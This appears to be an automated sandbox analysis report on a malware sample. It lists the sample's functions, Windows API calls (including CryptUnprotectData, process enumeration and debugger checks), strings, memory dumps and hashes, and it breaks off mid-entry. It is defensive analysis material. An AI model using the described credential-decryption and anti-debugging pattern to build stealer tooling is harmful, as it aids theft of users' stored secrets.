Instruction Fuzzy Hash: 4C415A16D697CAC7C701A77944602AFBFB22FF6200F2D81DAC4A81B342D2354506C3A5

Function 004072A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0), ref: 004072AD
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004072B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CF0,80000001,00416414), ref: 00407304
LocalFree.KERNEL32(?,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 0040730E

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction ID: 53cc3c192cf3f0b8553079c3b9831d6236397efc4a83699197ab53cf729bcbdc
Opcode Fuzzy Hash: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction Fuzzy Hash: 43010075E45308BBEB14DFA4DC45F9E7779AB44B00F104556FB05BA2C0D670AA009B55

Function 00419790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004197AE
Process32First.KERNEL32(00420ACE,00000128), ref: 004197C2
Process32Next.KERNEL32(00420ACE,00000128), ref: 004197D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004197EC
CloseHandle.KERNEL32(00420ACE), ref: 0041980A

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: 1fbe04e52da5ee7ffdaa7b0a109f2e7c212eef70923f216ae4cda371332784c4
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 49010C75E15209EBDB20DFA4CD54BDEB7B9BB08700F14469AE50996240E7349F80CF61

Function 6D4AED70 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6D4AF03E

Strings

<unnamed>, xrefs: 6D4AEF22
main, xrefs: 6D4AF116
Box<dyn Any>aborting due to panic at , xrefs: 6D4AEE73

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $main
API String ID: 3114109732-896199136
Opcode ID: 9771a36af6816bf1e4c47148327de640b109258ea588258737abff63a1a8efdb
Instruction ID: 419047eea27d74a413045c5842837e7dbedd38627378b66f0dd9688702695a4b
Opcode Fuzzy Hash: 9771a36af6816bf1e4c47148327de640b109258ea588258737abff63a1a8efdb
Instruction Fuzzy Hash: 11D14574605B41CFD721CF29C480F62B7F1BB59304F18892EE8A68BB95D736E849CB91

Function 00413970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E120,00000000,00000001,0041E110,00000000), ref: 004139A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00413A00

Strings

,<A, xrefs: 0041398D, 00413AE4, 00413AE7

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: ,<A
API String ID: 123533781-3158208111
Opcode ID: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction ID: 4ceafe5fcd3fa6382eb1302e1b13d25b09f52af09297020757b8d8bc714daff3
Opcode Fuzzy Hash: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction Fuzzy Hash: A8410670A00A28AFDB24DF58CC95BDBB7B5AB48302F4041D9E608E7290E7B16EC5CF50

Function 61EA0BA9 Relevance: 6.9, Strings: 5, Instructions: 655COMMON

Download Yara Rule

Strings

ASC, xrefs: 61EA138A
bua, xrefs: 61EA0CD2
bua, xrefs: 61EA139A
, xrefs: 61EA131C
DESC, xrefs: 61EA1392

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: $ASC$DESC$bua$bua
API String ID: 0-1029442847
Opcode ID: 6e8af515a132d039e3372d29df4d697cc1c83776b8362d02d757ba2fc8c266e0
Instruction ID: 8ab5de4e3564c360289137fee1b889a4ea914830ed3e88a553d2216b992680de
Opcode Fuzzy Hash: 6e8af515a132d039e3372d29df4d697cc1c83776b8362d02d757ba2fc8c266e0
Instruction Fuzzy Hash: 0852E2B4A053498FDB10CFA9C580A8EBBF1BF89304F25856DE899AB351D734E846CF51

Function 6D4C11FD Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6D4C1209
IsDebuggerPresent.KERNEL32 ref: 6D4C12D5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6D4C12EE
UnhandledExceptionFilter.KERNEL32(?), ref: 6D4C12F8

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6f77475dc9a1fec1dbadc86edcf7959f2280739887cff6ab4fd93104ae23f365
Instruction ID: e869a6d72fb4f7fb5a79462cc6c17fe6e4fdde7d6af704fc1894034bd1790fc0
Opcode Fuzzy Hash: 6f77475dc9a1fec1dbadc86edcf7959f2280739887cff6ab4fd93104ae23f365
Instruction Fuzzy Hash: A6310A79D052199BDF21DFA4C949BCDBBF8AF08304F1041EAE50CAB250EB709E849F45

Function 00419030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction ID: a6271c561c9c1d5471e6a4d7c0a7a185f0e3b346a55a3ee80b23d48c8130208f
Opcode Fuzzy Hash: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction Fuzzy Hash: 6C11F874604208EFDB00CF54D894BAB37A9AF89310F109449F91A8B350D779ED818BA9

Function 6D4B8BE0 Relevance: 5.9, Strings: 4, Instructions: 941COMMON

Download Yara Rule

Strings

__ZN, xrefs: 6D4B9017
?, xrefs: 6D4B950D
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6D4B9798
.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 6D4B8BF5

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: .llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs$?$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`
API String ID: 0-2050174402
Opcode ID: 9a6ab972b9cfe9a5ecda56b0547bdd206a751893ab23ab1ce7e6ee813cd6a21f
Instruction ID: f94db782a801561130856bf26c4d08304527cfc798cd81a7bc722c1c5f1645ae
Opcode Fuzzy Hash: 9a6ab972b9cfe9a5ecda56b0547bdd206a751893ab23ab1ce7e6ee813cd6a21f
Instruction Fuzzy Hash: D97205729087129BD715CF18C890A6ABBE2BFF5350F298A1DF4E557391D332DC418BA2

Function 61E4E4BF Relevance: 5.0, APIs: 3, Instructions: 1300COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 61E4F618
memmove.MSVCRT ref: 61E4F713
memmove.MSVCRT ref: 61E4F7B5

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 90110b2c01394ca73a3ba71c95a96c7b170426a2501867a4853995bc85f0eb5c
Instruction ID: bc40f1fef1a9170960cc57993c705059dbee377a108b532450c26420989eb83f
Opcode Fuzzy Hash: 90110b2c01394ca73a3ba71c95a96c7b170426a2501867a4853995bc85f0eb5c
Instruction Fuzzy Hash: ACE2F174A046698FCB65CF69D880BD9B7F1BF89314F2481E9D948A7314D738AE85CF80

Function 6D499DF1 Relevance: 5.0, Strings: 3, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 6D49A041
\_Mma, xrefs: 6D49AB3F
\_Mma, xrefs: 6D49B0C1

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: \_Mma$\_Mma$xn--
API String ID: 0-1260108142
Opcode ID: 79859a4ce8fb48327f5ea1d0e4db4798d673841cf419a63f58f5bfe34985fa0a
Instruction ID: b0cbe2871fe83430e1ccc1e3c646a8c91ce03afb4b9173a3c881db32e16ad4b9
Opcode Fuzzy Hash: 79859a4ce8fb48327f5ea1d0e4db4798d673841cf419a63f58f5bfe34985fa0a
Instruction Fuzzy Hash: C7A222B1C042688ADB05CB6AC8A2FFDBBB1BF56304F28426AD5567F381D7354E81CB51

Function 6D4B0DE0 Relevance: 4.6, APIs: 3, Instructions: 83filenativesynchronizationCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL ref: 6D4B0E3F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 6D4B0E4F
RtlNtStatusToDosError.NTDLL ref: 6D4B0E6F

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorFileObjectSingleStatusWaitWrite
String ID:
API String ID: 3447438843-0
Opcode ID: d585b138b9d659a5dadd5f95d8724d4a9aa57903fa7b9061a25bc6b5b78d1fde
Instruction ID: a42ae9b4c4263646a18f8cf7ffd48086aae5f2ef6e7c5d004e80fb0963b8c502
Opcode Fuzzy Hash: d585b138b9d659a5dadd5f95d8724d4a9aa57903fa7b9061a25bc6b5b78d1fde
Instruction Fuzzy Hash: 1B316D75508305AFE304CF14C884BABBBE9EBC9754F10891DF9A897380D774ED058BA6

Function 6D4C6ACC Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6D4C6BC4
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6D4C6BCE
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6D4C6BDB

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: dc5c20eff7bb491718f9ce3e011c9657c9e8cdd2ab47a0b87834e36d0c9e1c9b
Instruction ID: 32e7cfc4a91b0b1a80a87027e0d74e6faf4651b950d8a6d00279c651233ea402
Opcode Fuzzy Hash: dc5c20eff7bb491718f9ce3e011c9657c9e8cdd2ab47a0b87834e36d0c9e1c9b
Instruction Fuzzy Hash: CF31A7789012299BCF21DF64D988BDDBBB4BF08314F6081EAE51CA7260E7709F858F45

Function 6D48B040 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

BCryptGenRandom.BCRYPT(00000000,?,?,00000002,00000000,?,00000007,?,6D48AE46,?,?,?,?,6D4CE0E7,?,?), ref: 6D48B058
SystemFunction036.ADVAPI32(?,?,?,6D48AE46,?,?,?,?,6D4CE0E7,?,?,00000020), ref: 6D48B069

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: CryptFunction036RandomSystem
String ID:
API String ID: 1232939966-0
Opcode ID: 46480d92b598b02ce9adbb72ab91aba1d089370d037c3acb4efd3a16a30bc551
Instruction ID: 58192940ad936d18e585398ff0070222b1c77363ac311edf0e287a85ea4ca959
Opcode Fuzzy Hash: 46480d92b598b02ce9adbb72ab91aba1d089370d037c3acb4efd3a16a30bc551
Instruction Fuzzy Hash: 12E0D833301329BFE71015959C84F17BB9CDB8BAE9F120111FE2497091C6118C0402B5

Function 61E62554 Relevance: 3.0, Strings: 2, Instructions: 459COMMON

Download Yara Rule

Strings

0, xrefs: 61E6283F
BINARY, xrefs: 61E62831, 61E62877, 61E628BA, 61E628D8

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: 0$BINARY
API String ID: 0-1556553403
Opcode ID: dbf5463f1b26696ad097613312d0e8a281b4cdde38a6e2070d2bb0de8395586b
Instruction ID: e60323d610b5e953cfa2bbac53d573cb4ccd773d83c01c1116e4164fd3caed25
Opcode Fuzzy Hash: dbf5463f1b26696ad097613312d0e8a281b4cdde38a6e2070d2bb0de8395586b
Instruction Fuzzy Hash: 5E22E1B4E0425A8FDB04CFA8D480A9DBBF1FF98314F658569E859AB355D734E842CF80

Function 61E7A790 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

4, xrefs: 61E7B364

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 5679775b54a46e44c50c4d08064f7b18583e7f18de76afa1aacc819b64765499
Instruction ID: 518d6d0113e266a091a0cbf43dd9b6b92f5400263bfdc1a72100ca210d41eac5
Opcode Fuzzy Hash: 5679775b54a46e44c50c4d08064f7b18583e7f18de76afa1aacc819b64765499
Instruction Fuzzy Hash: E7C2D274A042598FEB20CFA8C490B9DBBF1BF89308F24C559E855AB390D774E886CF51

Function 6D498E00 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6D498E2B

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: fe4136daf117cff46768517c689f90f7af7920e408ce8bdf3096aa9c4c2bf2e9
Instruction ID: 71ebaf7ff4611f0af61d05ff93db255b1139e66261d4a23fba79bbd554bcc10a
Opcode Fuzzy Hash: fe4136daf117cff46768517c689f90f7af7920e408ce8bdf3096aa9c4c2bf2e9
Instruction Fuzzy Hash: F0E1BC316083419FC725CE29C891BAABBE6FF89300F55892DE5D98B395D7329C45CB82

Function 6D4988A0 Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6D4988CB

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 10e617ae4d5cbc77c6b7dabd0ce70fa163320d21a6e2eaed9e393f95c3d77419
